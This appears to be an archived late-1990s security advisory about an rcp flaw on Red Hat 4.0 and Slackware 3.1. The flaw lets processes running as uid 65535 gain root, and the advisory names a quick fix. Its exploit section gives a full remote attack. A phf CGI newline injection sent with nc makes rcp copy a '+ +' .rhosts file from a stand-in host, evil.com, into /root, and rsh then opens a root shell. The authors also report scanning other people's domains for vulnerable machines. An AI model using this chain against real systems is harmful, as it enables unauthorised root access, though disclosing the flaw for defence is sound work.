home *** CD-ROM | disk | FTP | other *** search
/ Freaks Macintosh Archive / Freaks Macintosh Archive.bin / Freaks Macintosh Archives / Hacking & Misc / bundle of exploits.sit / bundle of exploits / linux_rcp.txt < prev    next >
Text File  |  1998-07-17  |  2KB  |  52 lines

  1. When playing around with rcp on Linux, we found something interesting,
  2. that we haven't seen mentioned on bugtraq before:
  3.  
  4. SUMMARY: Root privileges can be obtained by user nobody with uid 65535 by
  5. exploiting a problem with /usr/bin/rcp. Many applications are running as
  6. 'nobody', in particular the NCSA httpd server, which by default executes
  7. all cgi-bin scripts under this uid.
  8.  
  9. PLATFORMS: We tested this only on Linux Red Hat 4.0 and Linux Slackware 3.1
  10.  
  11. EXPLOIT: This is kind of simple:
  12.  
  13. root[11:20][504]~# su - nobody
  14. [nobody@slip-70-8 /]$ id
  15. uid=65535(nobody) gid=65535
  16. [nobody@slip-70-8 /]$ rcp oberheim@moe.cc.utexas.edu:brb /tmp/test
  17. [nobody@slip-70-8 /]$ ls -la /tmp/test
  18. -rw-------   1 root     65535           0 Jan 29 11:20 /tmp/test
  19.  
  20. But then of course this is unrealistic, since regular users don't usually
  21. have access to the 'nobody' account. The password is usually disabled by
  22. '*', the login directory is /dev/null, etc.. However some applications do
  23. run under uid 65535, and if they can be made to execute rcp, root
  24. privileges can be obtained by anyone.
  25.  
  26. For example NCSA httpd server forks processes under uid 'nobody' after it
  27. gets executed by root, so any cgi-script which can execute rcp can be used
  28. to gain root access. In particular, do you remember the old problem in the
  29. phf cgi-bin script ? If a newline character is passed to the phf script,
  30. it can execute arbitrary programs as user 'nobody'. So the problem with
  31. rcp can be exploited remotely, and root access can be gained from outside,
  32. for instance like this:
  33.  
  34. $ echo "+ +" > /tmp/my.rhosts
  35. $ echo "GET /cgi-bin/phf?Qalias=x%0arcp+hacker@evil.com:/tmp/my.rhosts+
  36. /root/.rhosts" | nc -v - 20 victim.com 80
  37. $ rsh -l root victim.com "/bin/sh -i"
  38. #
  39.  
  40. The fact that this bug can be exploited remotely makes it, I think, quite
  41. serious. We wrote a simple script that searched our home domains (*.cz and
  42. *.sk) for machines that could potentially be attacked this way, and we found
  43. about 20 machines after a short scan.
  44.  
  45. By looking at the source code for rcp, we noticed that that setuid()
  46. function for user 65535 issues -1 error signal and so rcp, after opening
  47. the ports as root, fails to setuid() back to 65535.
  48.  
  49. QUICK FIX: change uid of user 'nobody' to something else than 65535. '99'
  50. is used by default on RedHat 4.0 for instance..
  51.  
  52.